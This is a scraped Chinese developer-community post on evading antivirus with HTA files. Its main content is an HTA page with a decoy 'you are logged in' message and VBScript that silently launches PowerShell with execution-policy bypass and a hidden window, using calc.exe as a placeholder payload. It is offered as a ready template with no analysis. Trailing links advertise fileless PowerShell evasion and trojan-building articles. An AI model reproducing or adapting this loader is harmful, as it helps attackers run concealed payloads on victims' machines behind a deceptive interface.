开发者社区云计算文章正文

HTA免杀

2017-08-25 1182

版权

本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。

简介： CodeWorldCode World Channel您已经登录！请关闭窗口后操作！Set Hackin = CreateObject("Wscript.

<!--xhacker.hta-->
<html>
<head>
<title>CodeWorld</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<HTA:ApplicationID="oHTA" Applicationname="hta_app" border="thin" borderstyle="normal" icon="hello.ico" maximizebutton="yes" minimizebutton="yes" showintaskbar="no" singleinstance="no" sysmenu="yes" version="777" windowstate="normal" scroll="yes">
</head>
<body>
<center>
<br>
<h1>Code World Channel</h1>
<br>
<h2>您已经登录！请关闭窗口后操作！</h2>
<br>
</center>
<script language="VBScript">
Set Hackin = CreateObject("Wscript.Shell")
Set Check = CreateObject("Scripting.FileSystemObject")
If Check.FileExists(Split(Hackin.ExpandEnvironmentStrings("%PSModulePath%"),";")(1) + "\..\powershell.exe") Then
Hackin.Run "powershell.exe -exec bypass -nop -w hidden calc.exe"
// Hackin.Run "taskkill /f /im mshta.exe"
else 
msgbox "Wrong operation, powershell.exe doesn't exist!"
End If
</script>
</body>
</html>

神棍儿

sumith

开发工具 C语言数据安全/隐私保护

免杀工具 -- FourEye

sumith

658 0 0

@北鲲

网络协议网络安全

Powershell免杀（无文件落地免杀）

无文件落地顾名思义，无需将恶意文件传到目标服务器/机器上，直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动，同时还可以解决目标不出网只能通过dns上线时的棘手问题，利用powershell可以避免一行行echo。通过两种方式进行无文件落地的免杀，一种是出网的情况，另一种为不出网情况。声明：文章内容仅供网络安全爱好者学习使用，请勿用文章中提到的技术或工具做违法的事情，否则后果自负。

@北鲲

889 0 0

sumith

2月前

安全数据安全/隐私保护

webshell菜刀后门分析

sumith

16 1 1

sumith

2月前

安全 Shell

2021Kali -- 木马免杀制作